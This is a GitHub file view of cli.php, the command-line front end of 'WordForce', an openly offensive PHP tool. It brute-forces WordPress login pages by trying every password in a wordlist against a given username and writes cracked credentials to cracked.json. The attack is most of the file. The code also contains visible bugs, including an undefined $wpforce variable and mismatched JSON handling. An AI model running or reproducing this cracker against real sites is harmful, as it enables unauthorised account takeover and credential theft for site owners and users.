forked from Fray117/WordForce
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcli.php
More file actions
152 lines (128 loc) · 4.23 KB
/
cli.php
File metadata and controls
152 lines (128 loc) · 4.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<?php
/**
* WordForce CLI
*
* @author Fray117
* @version 0.3.10
*/
include 'wordforce.php';
$wf = new wordforce();
// Required value
$shortopts = "l:u:w:";
// Optional value
$shortopts .= "h::a::";
$longopts = array(
// Required value
"url:",
"username:",
"wordlist:",
// Optional value
"help::",
"agent::"
);
$opts = getopt($shortopts, $longopts);
$opt = '';
if (isset($opts['l'])) {
$opt = 'l';
} elseif (isset($opts['url'])) {
$opt = 'url';
}
switch ($opt) {
case 'l':
if (isset($opts['u']) && isset($opts['w'])) {
$url = $opts['l'];
$username = $opts['u'];
$wordlist = file($opts['w']);
foreach ($wordlist as $key => $password) {
if (file_exists('cracked.json')) {
$data = json_decode(file_get_contents('cracked.json'));
if (isset($data[$url])) {
if ($wpforce->validate($url, $data[$url]['username'], $data[$url]['password'])) {
print '- Already Cracked -' . PHP_EOL;
print 'Username: ' . $data[$url]['username'] . PHP_EOL;
print 'Password: ' . $data[$url]['password'] . PHP_EOL;
exit;
}
}
}
sleep(0.3);
$cracking = $wf->validate($url, $username, $password);
if ($cracking) {
print '[' . $key . '] Cracked using ' . $password . PHP_EOL;
if (file_exists('cracked.json')) {
$data = json_decode(file_get_contents('cracked.json'));
$data['user'][$url] = array('username' => $username, 'password' => $password);
$json = json_encode($data);
file_put_contents('cracked.json', $json, LOCK_EX);
} else {
$data['user'][$username] = $password;
$json = json_encode($data);
file_put_contents('cracked.json', $json, LOCK_EX);
}
exit;
} else {
print '[' . $key . '] Cracking using ' . $password . PHP_EOL;
}
}
}
break;
case 'url':
if (isset($opts['username']) && isset($opts['wordlist'])) {
$url = $opts['url'];
$username = $opts['username'];
$wordlist = file($opts['wordlist']);
foreach ($wordlist as $key => $password) {
if (file_exists('cracked.json')) {
$data = json_decode(file_get_contents('cracked.json'));
if (isset($data[$url])) {
if ($wpforce->validate($url, $data[$url]['username'], $data[$url]['password'])) {
print '- Already Cracked -' . PHP_EOL;
print 'Username: ' . $data[$url]['username'] . PHP_EOL;
print 'Password: ' . $data[$url]['password'] . PHP_EOL;
exit;
}
}
}
sleep(0.3);
$cracking = $wf->validate($url, $username, $password);
if ($cracking) {
print '[' . $key . '] Cracked using ' . $password . PHP_EOL;
if (file_exists('cracked.json')) {
$data = json_decode(file_get_contents('cracked.json'));
$data['user'][$url] = array('username' => $username, 'password' => $password);
$json = json_encode($data);
file_put_contents('cracked.json', $json, LOCK_EX);
} else {
$data['user'][$username] = $password;
$json = json_encode($data);
file_put_contents('cracked.json', $json, LOCK_EX);
}
exit;
} else {
print '[' . $key . '] Cracking using ' . $password . PHP_EOL;
}
}
}
break;
default:
print ' __ __ _ _____ ' . PHP_EOL;
print ' \ \ / /__ _ __ __| | ___|__ _ __ ___ ___ ' . PHP_EOL;
print ' \ \ /\ / / _ \| \'__/ _` | |_ / _ \| \'__/ __/ _ \ ' . PHP_EOL;
print ' \ V V / (_) | | | (_| | _| (_) | | | (_| __/' . PHP_EOL;
print ' \_/\_/ \___/|_| \__,_|_| \___/|_| \___\___|' . PHP_EOL;
print PHP_EOL;
print 'Usage: ' . basename(__FILE__) . ' <options> [-a <User Agent>]' . PHP_EOL;
print ' ' . basename(__FILE__) . ' <options> [--agent <User Agent>]' . PHP_EOL;
print PHP_EOL;
print " -l <Login URL> \t Login URL (Like wp-login.php) " . PHP_EOL;
print " -u <Username> \t Define Username to Crack" . PHP_EOL;
print " -w <Wordlist> \t Import Wordlist from File" . PHP_EOL;
print " -h \t Show this Help" . PHP_EOL;
print PHP_EOL;
print " --url <Login URL> \t Login URL (Like wp-login.php) " . PHP_EOL;
print " --username <Username> \t Define Username to Crack" . PHP_EOL;
print " --wordlist <Wordlist> \t Import Wordlist from File" . PHP_EOL;
print " --help \t Show this Help" . PHP_EOL;
print PHP_EOL;
break;
}